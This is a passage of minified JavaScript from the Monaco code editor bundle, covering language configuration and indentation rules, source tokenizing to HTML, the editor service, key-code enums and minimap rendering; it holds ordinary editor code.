s.RichEditBrackets(t,this._conf.brackets)),this.onEnter=e._handleOnEnter(this._conf),this.comments=e._handleComments(this._conf),this.characterPair=new n.CharacterPairSupport(this._conf),this.electricCharacter=new i.BracketElectricCharacterSupport(this.brackets,this.characterPair.getAutoClosingPairs(),this._conf.__electricCharacterSupport),this.wordDefinition=this._conf.wordPattern||c.DEFAULT_WORD_REGEXP,this.indentationRules=this._conf.indentationRules,this._conf.indentationRules&&(this.indentRulesSupport=new r.IndentRulesSupport(this._conf.indentationRules))}return e._mergeConf=function(e,t){return{comments:e?t.comments||e.comments:t.comments,brackets:e?t.brackets||e.brackets:t.brackets,wordPattern:e?t.wordPattern||e.wordPattern:t.wordPattern,indentationRules:e?t.indentationRules||e.indentationRules:t.indentationRules,onEnterRules:e?t.onEnterRules||e.onEnterRules:t.onEnterRules,autoClosingPairs:e?t.autoClosingPairs||e.autoClosingPairs:t.autoClosingPairs,surroundingPairs:e?t.surroundingPairs||e.surroundingPairs:t.surroundingPairs,__electricCharacterSupport:e?t.__electricCharacterSupport||e.__electricCharacterSupport:t.__electricCharacterSupport}},e._handleOnEnter=function(e){var t={},n=!0;return e.brackets&&(n=!1,t.brackets=e.brackets),e.indentationRules&&(n=!1,t.indentationRules=e.indentationRules),e.onEnterRules&&(n=!1,t.regExpRules=e.onEnterRules),n?null:new o.OnEnterSupport(t)},e._handleComments=function(e){var t=e.comments;if(!t)return null;var n={};if(t.lineComment&&(n.lineCommentToken=t.lineComment),t.blockComment){var i=t.blockComment,o=i[0],r=i[1];n.blockCommentStartToken=o,n.blockCommentEndToken=r}return n},e}();t.RichEditSupport=f;var g=function(){function e(){this._onDidChange=new a.Emitter,this.onDidChange=this._onDidChange.event,this._entries=[]}return e.prototype.register=function(e,t){var n=this,i=this._getRichEditSupport(e.id),o=new f(e,i,t);return this._entries[e.id]=o,this._onDidChange.fire(void 0),{dispose:function(){n._entries[e.id]===o&&(n._entries[e.id]=i,n._onDidChange.fire(void 0))}}},e.prototype._getRichEditSupport=function(e){return this._entries[e]||null},e.prototype.getIndentationRules=function(e){var t=this._entries[e];return t?t.indentationRules||null:null},e.prototype._getElectricCharacterSupport=function(e){var t=this._getRichEditSupport(e);return t?t.electricCharacter||null:null},e.prototype.getElectricCharacters=function(e){var t=this._getElectricCharacterSupport(e);return t?t.getElectricCharacters():[]},e.prototype.onElectricCharacter=function(e,t,n){var i=d.createScopedLineTokens(t,n-1),o=this._getElectricCharacterSupport(i.languageId);return o?o.onElectricCharacter(e,i,n-i.firstCharOffset):null},e.prototype.getComments=function(e){var t=this._getRichEditSupport(e);return t?t.comments||null:null},e.prototype._getCharacterPairSupport=function(e){var t=this._getRichEditSupport(e);return t?t.characterPair||null:null},e.prototype.getAutoClosingPairs=function(e){var t=this._getCharacterPairSupport(e);return t?t.getAutoClosingPairs():[]},e.prototype.getSurroundingPairs=function(e){var t=this._getCharacterPairSupport(e);return t?t.getSurroundingPairs():[]},e.prototype.shouldAutoClosePair=function(e,t,n){var i=d.createScopedLineTokens(t,n-1),o=this._getCharacterPairSupport(i.languageId);return!!o&&o.shouldAutoClosePair(e,i,n-i.firstCharOffset)},e.prototype.getWordDefinition=function(e){var t=this._getRichEditSupport(e);return t?c.ensureValidWordDefinition(t.wordDefinition||null):c.ensureValidWordDefinition(null)},e.prototype.getIndentRulesSupport=function(e){var t=this._getRichEditSupport(e);return t?t.indentRulesSupport||null:null},e.prototype.getPrecedingValidLine=function(e,t,n){var i=e.getLanguageIdAtPosition(t,0);if(t>1){var o=t-1,r=-1;for(o=t-1;o>=1;o--){if(e.getLanguageIdAtPosition(o,0)!==i)return r;var s=e.getLineContent(o);if(!n.shouldIgnore(s)&&!/^\\s+$/.test(s)&&\"\"!==s)return o;r=o}}return-1},e.prototype.getInheritIndentForLine=function(e,t,n){void 0===n&&(n=!0);var i=this.getIndentRulesSupport(e.getLanguageIdentifier().id);if(!i)return null;if(t<=1)return{indentation:\"\",action:null};var o=this.getPrecedingValidLine(e,t,i);if(o<0)return null;if(o<1)return{indentation:\"\",action:null};var r=e.getLineContent(o);if(i.shouldIncrease(r)||i.shouldIndentNextLine(r))return{indentation:l.getLeadingWhitespace(r),action:p.IndentAction.Indent,line:o};if(i.shouldDecrease(r))return{indentation:l.getLeadingWhitespace(r),action:null,line:o};if(1===o)return{indentation:l.getLeadingWhitespace(e.getLineContent(o)),action:null,line:o};var s=o-1,a=i.getIndentMetadata(e.getLineContent(s));if(!(3&a)&&4&a){for(var u=0,c=s-1;c>0;c--)if(!i.shouldIndentNextLine(e.getLineContent(c))){u=c;break}return{indentation:l.getLeadingWhitespace(e.getLineContent(u+1)),action:null,line:u+1}}if(n)return{indentation:l.getLeadingWhitespace(e.getLineContent(o)),action:null,line:o};for(c=o;c>0;c--){var d=e.getLineContent(c);if(i.shouldIncrease(d))return{indentation:l.getLeadingWhitespace(d),action:p.IndentAction.Indent,line:c};if(i.shouldIndentNextLine(d)){for(var u=0,h=c-1;h>0;h--)if(!i.shouldIndentNextLine(e.getLineContent(c))){u=h;break}return{indentation:l.getLeadingWhitespace(e.getLineContent(u+1)),action:null,line:u+1}}if(i.shouldDecrease(d))return{indentation:l.getLeadingWhitespace(d),action:null,line:c}}return{indentation:l.getLeadingWhitespace(e.getLineContent(1)),action:null,line:1}},e.prototype.getGoodIndentForLine=function(e,t,n,i){var o=this.getIndentRulesSupport(t);if(!o)return null;var r=this.getInheritIndentForLine(e,n),s=e.getLineContent(n);if(r){var a=r.line;if(void 0!==a){var c=this._getOnEnterSupport(t),d=null;try{d=c.onEnter(\"\",e.getLineContent(a),\"\")}catch(e){u.onUnexpectedError(e)}if(d){var h=l.getLeadingWhitespace(e.getLineContent(a));return d.removeText&&(h=h.substring(0,h.length-d.removeText)),d.indentAction===p.IndentAction.Indent||d.indentAction===p.IndentAction.IndentOutdent?h=i.shiftIndent(h):d.indentAction===p.IndentAction.Outdent&&(h=i.unshiftIndent(h)),o.shouldDecrease(s)&&(h=i.unshiftIndent(h)),d.appendText&&(h+=d.appendText),l.getLeadingWhitespace(h)}}return o.shouldDecrease(s)?r.action===p.IndentAction.Indent?r.indentation:i.unshiftIndent(r.indentation):r.action===p.IndentAction.Indent?i.shiftIndent(r.indentation):r.indentation}return null},e.prototype.getIndentForEnter=function(e,t,n,i){e.forceTokenization(t.startLineNumber);var o,r,s=e.getLineTokens(t.startLineNumber),a=d.createScopedLineTokens(s,t.startColumn-1),u=a.getLineContent(),c=!1;a.firstCharOffset>0&&s.getLanguageId(0)!==a.languageId?(c=!0,o=u.substr(0,t.startColumn-1-a.firstCharOffset)):o=s.getLineContent().substring(0,t.startColumn-1),r=t.isEmpty()?u.substr(t.startColumn-1-a.firstCharOffset):this.getScopedLineTokens(e,t.endLineNumber,t.endColumn).getLineContent().substr(t.endColumn-1-a.firstCharOffset);var h=this.getIndentRulesSupport(a.languageId);if(!h)return null;var f=o,g=l.getLeadingWhitespace(o);if(!i&&!c){var m=this.getInheritIndentForLine(e,t.startLineNumber);h.shouldDecrease(o)&&m&&(g=m.indentation,m.action!==p.IndentAction.Indent&&(g=n.unshiftIndent(g))),f=g+l.ltrim(l.ltrim(o,\" \"),\"\\t\")}var v={getLineTokens:function(t){return e.getLineTokens(t)},getLanguageIdentifier:function(){return e.getLanguageIdentifier()},getLanguageIdAtPosition:function(t,n){return e.getLanguageIdAtPosition(t,n)},getLineContent:function(n){return n===t.startLineNumber?f:e.getLineContent(n)}},_=l.getLeadingWhitespace(s.getLineContent()),y=this.getInheritIndentForLine(v,t.startLineNumber+1);if(!y){var C=c?_:g;return{beforeEnter:C,afterEnter:C}}var b=c?_:y.indentation;return y.action===p.IndentAction.Indent&&(b=n.shiftIndent(b)),h.shouldDecrease(r)&&(b=n.unshiftIndent(b)),{beforeEnter:c?_:g,afterEnter:b}},e.prototype.getIndentActionForType=function(e,t,n,i){var o=this.getScopedLineTokens(e,t.startLineNumber,t.startColumn),r=this.getIndentRulesSupport(o.languageId);if(!r)return null;var s,a=o.getLineContent(),u=a.substr(0,t.startColumn-1-o.firstCharOffset);if(s=t.isEmpty()?a.substr(t.startColumn-1-o.firstCharOffset):this.getScopedLineTokens(e,t.endLineNumber,t.endColumn).getLineContent().substr(t.endColumn-1-o.firstCharOffset),!r.shouldDecrease(u+s)&&r.shouldDecrease(u+n+s)){var l=this.getInheritIndentForLine(e,t.startLineNumber,!1);if(!l)return null;var c=l.indentation;return l.action!==p.IndentAction.Indent&&(c=i.unshiftIndent(c)),c}return null},e.prototype.getIndentMetadata=function(e,t){var n=this.getIndentRulesSupport(e.getLanguageIdentifier().id);return n?t<1||t>e.getLineCount()?null:n.getIndentMetadata(e.getLineContent(t)):null},e.prototype._getOnEnterSupport=function(e){var t=this._getRichEditSupport(e);return t?t.onEnter||null:null},e.prototype.getRawEnterActionAtPosition=function(e,t,n){var i=this.getEnterAction(e,new h.Range(t,n,t,n));return i?i.enterAction:null},e.prototype.getEnterAction=function(e,t){var n=this.getIndentationAtPosition(e,t.startLineNumber,t.startColumn),i=this.getScopedLineTokens(e,t.startLineNumber,t.startColumn),o=this._getOnEnterSupport(i.languageId);if(!o)return null;var r,s=i.getLineContent(),a=s.substr(0,t.startColumn-1-i.firstCharOffset);r=t.isEmpty()?s.substr(t.startColumn-1-i.firstCharOffset):this.getScopedLineTokens(e,t.endLineNumber,t.endColumn).getLineContent().substr(t.endColumn-1-i.firstCharOffset);var l=t.startLineNumber,c=\"\";if(l>1&&0===i.firstCharOffset){var d=this.getScopedLineTokens(e,l-1);d.languageId===i.languageId&&(c=d.getLineContent())}var h=null;try{h=o.onEnter(c,a,r)}catch(e){u.onUnexpectedError(e)}return h?(h.appendText||(h.indentAction===p.IndentAction.Indent||h.indentAction===p.IndentAction.IndentOutdent?h.appendText=\"\\t\":h.appendText=\"\"),h.removeText&&(n=n.substring(0,n.length-h.removeText)),{enterAction:h,indentation:n}):null},e.prototype.getIndentationAtPosition=function(e,t,n){var i=e.getLineContent(t),o=l.getLeadingWhitespace(i);return o.length>n-1&&(o=o.substring(0,n-1)),o},e.prototype.getScopedLineTokens=function(e,t,n){e.forceTokenization(t);var i=e.getLineTokens(t),o=isNaN(n)?e.getLineMaxColumn(t)-1:n-1;return d.createScopedLineTokens(i,o)},e.prototype.getBracketsSupport=function(e){var t=this._getRichEditSupport(e);return t?t.brackets||null:null},e}();t.LanguageConfigurationRegistryImpl=g,t.LanguageConfigurationRegistry=new g}),define(d[122],h([1,0,9,17,68,130]),function(e,t,n,i,o,r){\"use strict\";function s(e){var t=i.TokenizationRegistry.get(e);return t||{getInitialState:function(){return o.NULL_STATE},tokenize:void 0,tokenize2:function(e,t,n){return o.nullTokenize2(0,e,t,n)}}}function a(e,t){for(var i='<div class=\"monaco-tokenized-source\">',o=e.split(/\\r\\n|\\r|\\n/),s=t.getInitialState(),a=0,u=o.length;a<u;a++){var l=o[a];a>0&&(i+=\"<br/>\");for(var c=t.tokenize2(l,s,0),d=new r.LineTokens(c.tokens,l).inflate(),h=0,p=0,f=d.length;p<f;p++){var g=d[p];i+='<span class=\"'+g.getType()+'\">'+n.escape(l.substring(h,g.endIndex))+\"</span>\",h=g.endIndex}s=c.endState}return i+=\"</div>\"}Object.defineProperty(t,\"__esModule\",{value:!0}),t.tokenizeToString=function(e,t){return a(e,s(t))},t.tokenizeLineToHTML=function(e,t,n,i,o,r){for(var s=\"<div>\",a=i,u=0,l=0,c=t.length;l<c;l++){var d=t[l],h=d.endIndex;if(!(d.endIndex<=i)){for(var p=\"\";a<h&&a<o;a++){var f=e.charCodeAt(a);switch(f){case 9:var g=r-(a+u)%r;for(u+=g-1;g>0;)p+=\"&nbsp;\",g--;break;case 60:p+=\"&lt;\";break;case 62:p+=\"&gt;\";break;case 38:p+=\"&amp;\";break;case 0:p+=\"&#00;\";break;case 65279:case 8232:p+=\"�\";break;case 13:p+=\"&#8203\";break;default:p+=String.fromCharCode(f)}}if(s+='<span style=\"'+d.getInlineStyle(n)+'\">'+p+\"</span>\",d.endIndex>o||a>=o)break}}return s+=\"</div>\"}}),define(d[210],h([1,0,11]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var i=function(){function e(){this._transientWatchers={},this._codeEditors=Object.create(null),this._diffEditors=Object.create(null),this._onCodeEditorAdd=new n.Emitter,this._onCodeEditorRemove=new n.Emitter,this._onDiffEditorAdd=new n.Emitter,this._onDiffEditorRemove=new n.Emitter}return e.prototype.addCodeEditor=function(e){this._codeEditors[e.getId()]=e,this._onCodeEditorAdd.fire(e)},Object.defineProperty(e.prototype,\"onCodeEditorAdd\",{get:function(){return this._onCodeEditorAdd.event},enumerable:!0,configurable:!0}),e.prototype.removeCodeEditor=function(e){delete this._codeEditors[e.getId()]&&this._onCodeEditorRemove.fire(e)},Object.defineProperty(e.prototype,\"onCodeEditorRemove\",{get:function(){return this._onCodeEditorRemove.event},enumerable:!0,configurable:!0}),e.prototype.getCodeEditor=function(e){return this._codeEditors[e]||null},e.prototype.listCodeEditors=function(){var e=this;return Object.keys(this._codeEditors).map(function(t){return e._codeEditors[t]})},e.prototype.addDiffEditor=function(e){this._diffEditors[e.getId()]=e,this._onDiffEditorAdd.fire(e)},Object.defineProperty(e.prototype,\"onDiffEditorAdd\",{get:function(){return this._onDiffEditorAdd.event},enumerable:!0,configurable:!0}),e.prototype.removeDiffEditor=function(e){delete this._diffEditors[e.getId()]&&this._onDiffEditorRemove.fire(e)},Object.defineProperty(e.prototype,\"onDiffEditorRemove\",{get:function(){return this._onDiffEditorRemove.event},enumerable:!0,configurable:!0}),e.prototype.getDiffEditor=function(e){return this._diffEditors[e]||null},e.prototype.listDiffEditors=function(){var e=this;return Object.keys(this._diffEditors).map(function(t){return e._diffEditors[t]})},e.prototype.getFocusedCodeEditor=function(){for(var e=null,t=this.listCodeEditors(),n=0;n<t.length;n++){var i=t[n];if(i.isFocused())return i;i.hasWidgetFocus()&&(e=i)}return e},e.prototype.setTransientModelProperty=function(e,t,n){var i,r=e.uri.toString();this._transientWatchers.hasOwnProperty(r)?i=this._transientWatchers[r]:(i=new o(r,e,this),this._transientWatchers[r]=i),i.set(t,n)},e.prototype.getTransientModelProperty=function(e,t){var n=e.uri.toString();if(this._transientWatchers.hasOwnProperty(n))return this._transientWatchers[n].get(t)},e.prototype._removeWatcher=function(e){delete this._transientWatchers[e.uri]},e}();t.AbstractCodeEditorService=i;var o=function(){function e(e,t,n){var i=this;this.uri=e,this._values={},t.onWillDispose(function(){return n._removeWatcher(i)})}return e.prototype.set=function(e,t){this._values[e]=t},e.prototype.get=function(e){return this._values[e]},e}();t.ModelTransientSettingWatcher=o}),define(d[152],h([1,0,11,40,12,2,22,7,123,97,24]),function(e,t,n,i,o,r,s,a,u,l,c){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var d;!function(e){e[e.Ignore=0]=\"Ignore\",e[e.Info=1]=\"Info\",e[e.Warning=2]=\"Warning\",e[e.Error=3]=\"Error\"}(d=t.Severity||(t.Severity={}));var h=function(){function e(){}return e.chord=function(e,t){return i.KeyChord(e,t)},e.CtrlCmd=2048,e.Shift=1024,e.Alt=512,e.WinCtrl=256,e}();t.KeyMod=h;var p;!function(e){e[e.Unknown=0]=\"Unknown\",e[e.Backspace=1]=\"Backspace\",e[e.Tab=2]=\"Tab\",e[e.Enter=3]=\"Enter\",e[e.Shift=4]=\"Shift\",e[e.Ctrl=5]=\"Ctrl\",e[e.Alt=6]=\"Alt\",e[e.PauseBreak=7]=\"PauseBreak\",e[e.CapsLock=8]=\"CapsLock\",e[e.Escape=9]=\"Escape\",e[e.Space=10]=\"Space\",e[e.PageUp=11]=\"PageUp\",e[e.PageDown=12]=\"PageDown\",e[e.End=13]=\"End\",e[e.Home=14]=\"Home\",e[e.LeftArrow=15]=\"LeftArrow\",e[e.UpArrow=16]=\"UpArrow\",e[e.RightArrow=17]=\"RightArrow\",e[e.DownArrow=18]=\"DownArrow\",e[e.Insert=19]=\"Insert\",e[e.Delete=20]=\"Delete\",e[e.KEY_0=21]=\"KEY_0\",e[e.KEY_1=22]=\"KEY_1\",e[e.KEY_2=23]=\"KEY_2\",e[e.KEY_3=24]=\"KEY_3\",e[e.KEY_4=25]=\"KEY_4\",e[e.KEY_5=26]=\"KEY_5\",e[e.KEY_6=27]=\"KEY_6\",e[e.KEY_7=28]=\"KEY_7\",e[e.KEY_8=29]=\"KEY_8\",e[e.KEY_9=30]=\"KEY_9\",e[e.KEY_A=31]=\"KEY_A\",e[e.KEY_B=32]=\"KEY_B\",e[e.KEY_C=33]=\"KEY_C\",e[e.KEY_D=34]=\"KEY_D\",e[e.KEY_E=35]=\"KEY_E\",e[e.KEY_F=36]=\"KEY_F\",e[e.KEY_G=37]=\"KEY_G\",e[e.KEY_H=38]=\"KEY_H\",e[e.KEY_I=39]=\"KEY_I\",e[e.KEY_J=40]=\"KEY_J\",e[e.KEY_K=41]=\"KEY_K\",e[e.KEY_L=42]=\"KEY_L\",e[e.KEY_M=43]=\"KEY_M\",e[e.KEY_N=44]=\"KEY_N\",e[e.KEY_O=45]=\"KEY_O\",e[e.KEY_P=46]=\"KEY_P\",e[e.KEY_Q=47]=\"KEY_Q\",e[e.KEY_R=48]=\"KEY_R\",e[e.KEY_S=49]=\"KEY_S\",e[e.KEY_T=50]=\"KEY_T\",e[e.KEY_U=51]=\"KEY_U\",e[e.KEY_V=52]=\"KEY_V\",e[e.KEY_W=53]=\"KEY_W\",e[e.KEY_X=54]=\"KEY_X\",e[e.KEY_Y=55]=\"KEY_Y\",e[e.KEY_Z=56]=\"KEY_Z\",e[e.Meta=57]=\"Meta\",e[e.ContextMenu=58]=\"ContextMenu\",e[e.F1=59]=\"F1\",e[e.F2=60]=\"F2\",e[e.F3=61]=\"F3\",e[e.F4=62]=\"F4\",e[e.F5=63]=\"F5\",e[e.F6=64]=\"F6\",e[e.F7=65]=\"F7\",e[e.F8=66]=\"F8\",e[e.F9=67]=\"F9\",e[e.F10=68]=\"F10\",e[e.F11=69]=\"F11\",e[e.F12=70]=\"F12\",e[e.F13=71]=\"F13\",e[e.F14=72]=\"F14\",e[e.F15=73]=\"F15\",e[e.F16=74]=\"F16\",e[e.F17=75]=\"F17\",e[e.F18=76]=\"F18\",e[e.F19=77]=\"F19\",e[e.NumLock=78]=\"NumLock\",e[e.ScrollLock=79]=\"ScrollLock\",e[e.US_SEMICOLON=80]=\"US_SEMICOLON\",e[e.US_EQUAL=81]=\"US_EQUAL\",e[e.US_COMMA=82]=\"US_COMMA\",e[e.US_MINUS=83]=\"US_MINUS\",e[e.US_DOT=84]=\"US_DOT\",e[e.US_SLASH=85]=\"US_SLASH\",e[e.US_BACKTICK=86]=\"US_BACKTICK\",e[e.US_OPEN_SQUARE_BRACKET=87]=\"US_OPEN_SQUARE_BRACKET\",e[e.US_BACKSLASH=88]=\"US_BACKSLASH\",e[e.US_CLOSE_SQUARE_BRACKET=89]=\"US_CLOSE_SQUARE_BRACKET\",e[e.US_QUOTE=90]=\"US_QUOTE\",e[e.OEM_8=91]=\"OEM_8\",e[e.OEM_102=92]=\"OEM_102\",e[e.NUMPAD_0=93]=\"NUMPAD_0\",e[e.NUMPAD_1=94]=\"NUMPAD_1\",e[e.NUMPAD_2=95]=\"NUMPAD_2\",e[e.NUMPAD_3=96]=\"NUMPAD_3\",e[e.NUMPAD_4=97]=\"NUMPAD_4\",e[e.NUMPAD_5=98]=\"NUMPAD_5\",e[e.NUMPAD_6=99]=\"NUMPAD_6\",e[e.NUMPAD_7=100]=\"NUMPAD_7\",e[e.NUMPAD_8=101]=\"NUMPAD_8\",e[e.NUMPAD_9=102]=\"NUMPAD_9\",e[e.NUMPAD_MULTIPLY=103]=\"NUMPAD_MULTIPLY\",e[e.NUMPAD_ADD=104]=\"NUMPAD_ADD\",e[e.NUMPAD_SEPARATOR=105]=\"NUMPAD_SEPARATOR\",e[e.NUMPAD_SUBTRACT=106]=\"NUMPAD_SUBTRACT\",e[e.NUMPAD_DECIMAL=107]=\"NUMPAD_DECIMAL\",e[e.NUMPAD_DIVIDE=108]=\"NUMPAD_DIVIDE\",e[e.KEY_IN_COMPOSITION=109]=\"KEY_IN_COMPOSITION\",e[e.ABNT_C1=110]=\"ABNT_C1\",e[e.ABNT_C2=111]=\"ABNT_C2\",e[e.MAX_VALUE=112]=\"MAX_VALUE\"}(p=t.KeyCode||(t.KeyCode={})),t.createMonacoBaseAPI=function(){return{editor:void 0,languages:void 0,CancellationTokenSource:u.CancellationTokenSource,Emitter:n.Emitter,KeyCode:p,KeyMod:h,Position:o.Position,Range:r.Range,Selection:s.Selection,SelectionDirection:s.SelectionDirection,Severity:d,Promise:a.TPromise,Uri:c.default,Token:l.Token}}}),define(d[111],h([1,0,17,11]),function(e,t,n,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var o=function(){function e(){var e=this;this._onDidChange=new i.Emitter,this.onDidChange=this._onDidChange.event,this._updateColorMap(),n.TokenizationRegistry.onDidChange(function(t){t.changedColorMap&&e._updateColorMap()})}return e.getInstance=function(){return this._INSTANCE||(this._INSTANCE=new e),this._INSTANCE},e.prototype._updateColorMap=function(){var e=n.TokenizationRegistry.getColorMap();if(!e)return this._colors=[null],void(this._backgroundIsLight=!0);this._colors=[null];for(var t=1;t<e.length;t++)this._colors[t]=e[t].toRGBA();var i=e[2].getLuminosity();this._backgroundIsLight=i>=.5,this._onDidChange.fire(void 0)},e.prototype.getColor=function(e){return(e<1||e>=this._colors.length)&&(e=2),this._colors[e]},e.prototype.backgroundIsLight=function(){return this._backgroundIsLight},e._INSTANCE=null,e}();t.MinimapTokensColorTracker=o;!function(e){e[e.START_CH_CODE=32]=\"START_CH_CODE\",e[e.END_CH_CODE=126]=\"END_CH_CODE\",e[e.CHAR_COUNT=95]=\"CHAR_COUNT\",e[e.SAMPLED_CHAR_HEIGHT=16]=\"SAMPLED_CHAR_HEIGHT\",e[e.SAMPLED_CHAR_WIDTH=10]=\"SAMPLED_CHAR_WIDTH\",e[e.SAMPLED_HALF_CHAR_WIDTH=5]=\"SAMPLED_HALF_CHAR_WIDTH\",e[e.x2_CHAR_HEIGHT=4]=\"x2_CHAR_HEIGHT\",e[e.x2_CHAR_WIDTH=2]=\"x2_CHAR_WIDTH\",e[e.x1_CHAR_HEIGHT=2]=\"x1_CHAR_HEIGHT\",e[e.x1_CHAR_WIDTH=1]=\"x1_CHAR_WIDTH\",e[e.RGBA_CHANNELS_CNT=4]=\"RGBA_CHANNELS_CNT\"}(t.Constants||(t.Constants={}));var r=function(){function e(t,n){if(760!==t.length)throw new Error(\"Invalid x2CharData\");if(190!==n.length)throw new Error(\"Invalid x1CharData\");this.x2charData=t,this.x1charData=n,this.x2charDataLight=e.soften(t,.8),this.x1charDataLight=e.soften(n,50/60)}return e.soften=function(e,t){for(var n=new Uint8ClampedArray(e.length),i=0,o=e.length;i<o;i++)n[i]=e[i]*t;return n},e._getChIndex=function(e){return(e-=32)<0&&(e+=95),e%95},e.prototype.x2RenderChar=function(t,n,i,o,r,s,a){if(n+2>t.width||i+4>t.height)console.warn(\"bad render request outside image data\");else{var u=a?this.x2charDataLight:this.x2charData,l=e._getChIndex(o),c=4*t.width,d=s.r,h=s.g,p=s.b,f=r.r-d,g=r.g-h,m=r.b-p,v=t.data,_=4*l*2,y=i*c+4*n,C=u[_]/255;v[y+0]=d+f*C,v[y+1]=h+g*C,v[y+2]=p+m*C;C=u[_+1]/255;v[y+4]=d+f*C,v[y+5]=h+g*C,v[y+6]=p+m*C,y+=c;C=u[_+2]/255;v[y+0]=d+f*C,v[y+1]=h+g*C,v[y+2]=p+m*C;C=u[_+3]/255;v[y+4]=d+f*C,v[y+5]=h+g*C,v[y+6]=p+m*C,y+=c;C=u[_+4]/255;v[y+0]=d+f*C,v[y+1]=h+g*C,v[y+2]=p+m*C;C=u[_+5]/255;v[y+4]=d+f*C,v[y+5]=h+g*C,v[y+6]=p+m*C,y+=c;C=u[_+6]/255;v[y+0]=d+f*C,v[y+1]=h+g*C,v[y+2]=p+m*C;C=u[_+7]/255;v[y+4]=d+f*C,v[y+5]=h+g*C,v[y+6]=p+m*C}},e.prototype.x1RenderChar=function(t,n,i,o,r,s,a){if(n+1>t.width||i+2>t.height)console.warn(\"bad render request outside image data\");else{var u=a?this.x1charDataLight:this.x1charData,l=e._getChIndex(o),c=4*t.width,d=s.r,h=s.g,p=s.b,f=r.r-d,g=r.g-h,m=r.b-p,v=t.data,_=2*l*1,y=i*c+4*n,C=u[_]/255;v[y+0]=d+f*C,v[y+1]=h+g*C,v[y+2]=p+m*C,y+=c;C=u[_+1]/255;v[y+0]=d+f*C,v[y+1]=h+g*C,v[y+2]=p+m*C}},e.prototype.x2BlockRenderChar=function(e,t,n,i,o,r){if(t+2>e.width||n+4>e.height)console.warn(\"bad render request outside image data\");else{var s=4*e.width,a=o.r,u=o.g,l=o.b,c=a+.5*(i.r-a),d=u+.5*(i.g-u),h=l+.5*(i.b-l),p=e.data,f=n*s+4*t;p[f+0]=c,p[f+1]=d,p[f+2]=h,p[f+4]=c,p[f+5]=d,p[f+6]=h,p[(f+=s)+0]=c,p[f+1]=d,p[f+2]=h,p[f+4]=c,p[f+5]=d,p[f+6]=h,p[(f+=s)+0]=c,p[f+1]=d,p[f+2]=h,p[f+4]=c,p[f+5]=d,p[f+6]=h,p[(f+=s)+0]=c,p[f+1]=d,p[f+2]=h,p[f+4]=c,p[f+5]=d,p[f+6]=h}},e.prototype.x1BlockRenderChar=function(e,t,n,i,o,r){if(t+1>e.width||n+2>e.height)console.warn(\"bad render request outside image data\");else{var s=4*e.width,a=o.r,u=o.g,l=o.b,c=a+.5*(i.r-a),d=u+.5*(i.g-u),h=l+.5*(i.b-l),p=e.data,f=n*s+4*t;p[f+0]=c,p[f+1]=d,p[f+2]=h,p[(f+=s)+0]=c,p[f+1]=d,p[f+2]=h}},e}();t.MinimapCharRenderer=r}),define(d[78],h([1,0,2]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var i=function(){function e(e,t){this._viewLayout=e,this.viewportData=t,this.scrollWidth=this._viewLayout.getScrollWidth(),this.scrollHeight=this._viewLayout.getScrollHeight(),this.visibleRange=this.viewportData.visibleRange,this.bigNumbersDelta=this.viewportData.bigNumbersDelta;var n=this._viewLayout.getCurrentViewport();this.scrollTop=n.top,this.scrollLeft=n.left,this.viewportWidth=n.width,this.viewportHeight=n.height}return e.prototype.getScrolledTopFromAbsoluteTop=function(e){return e-this.scrollTop},e.prototype.getVerticalOffsetForLineNumber=function(e){return this._viewLayout.getVerticalOffsetForLineNumber(e)},e.prototype.lineIsVisible=function(e){return this.visibleRange.startLineNumber<=e&&e<=this.visibleRange.endLineNumber},e.prototype.getDecorationsInViewport=function(){return this.viewportData.getDecorationsInViewport()},e}();t.RestrictedRenderingContext=i;var o=function(e){function t(t,n,i){var o=e.call(this,t,n)||this;return o._viewLines=i,o}return f(t,e),t.prototype.linesVisibleRangesForRange=function(e,t){return this._viewLines.linesVisibleRangesForRange(e,t)},t.prototype.visibleRangeForPosition=function(e){var t=this._viewLines.visibleRangesForRange2(new n.Range(e.lineNumber,e.column,e.lineNumber,e.column));return t?t[0]:null},t}(i);t.RenderingContext=o;var r=function(){return function(e,t){this.lineNumber=e,this.ranges=t}}();t.LineVisibleRanges=r;var s=function(){function e(e,t){this.left=Math.round(e),this.width=Math.round(t)}return e.prototype.toString=function(){return\"[\"+this.left+\",\"+this.width+\"]\"},e}();t.HorizontalRange=s}),define(d[214],h([1,0,78]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var i=function(){function e(e,t){this.left=e,this.width=t}return e.prototype.toString=function(){return\"[\"+this.left+\",\"+this.width+\"]\"},e.compare=function(e,t){return e.left-t.left},e}(),o=function(){function e(){}return e._createRange=function(){return this._handyReadyRange||(this._handyReadyRange=document.createRange()),this._handyReadyRange},e._detachRange=function(e,t){e.selectNodeContents(t)},e._readClientRects=function(e,t,n,i,o){var r=this._createRange();try{return r.setStart(e,t),r.setEnd(n,i),r.getClientRects()}catch(e){return null}finally{this._detachRange(r,o)}},e._mergeAdjacentRanges=function(e){if(1===e.length)return[new n.HorizontalRange(e[0].left,e[0].width)];e.sort(i.compare);for(var t=[],o=0,r=e[0].left,s=e[0].width,a=1,u=e.length;a<u;a++){var l=e[a],c=l.left,d=l.width;r+s+.9>=c?s=Math.max(s,c+d-r):(t[o++]=new n.HorizontalRange(r,s),r=c,s=d)}return t[o++]=new n.HorizontalRange(r,s),t},e._createHorizontalRangesFromClientRects=function(e,t){if(!e||0===e.length)return null;for(var n=[],o=0,r=e.length;o<r;o++){var s=e[o];n[o]=new i(Math.max(0,s.left-t),s.width)}return this._mergeAdjacentRanges(n)},e.readHorizontalRanges=function(e,t,n,i,o,r,s){var a=e.children.length-1;if(0>a)return null;(t=Math.min(a,Math.max(0,t)))!==(i=Math.min(a,Math.max(0,i)))&&i>0&&0===o&&(i--,o=Number.MAX_VALUE);var u=e.children[t].firstChild,l=e.children[i].firstChild;if(!u||!l)return null;n=Math.min(u.textContent.length,Math.max(0,n)),o=Math.min(l.textContent.length,Math.max(0,o));var c=this._readClientRects(u,n,l,o,s);return this._createHorizontalRangesFromClientRects(c,r)},e}();t.RangeUtil=o}),define(d[215],h([1,0,111]),function(e,t,n){\"use strict\";function i(e){for(var t=new Uint8ClampedArray(e.length),n=0,i=e.length;n<i;n++)t[n]=e[n];return t}Object.defineProperty(t,\"__esModule\",{value:!0});var o=null;t.getOrCreateMinimapCharRenderer=function(){if(!o){var e=i(s);s=null;var t=i(r);r=null,o=new 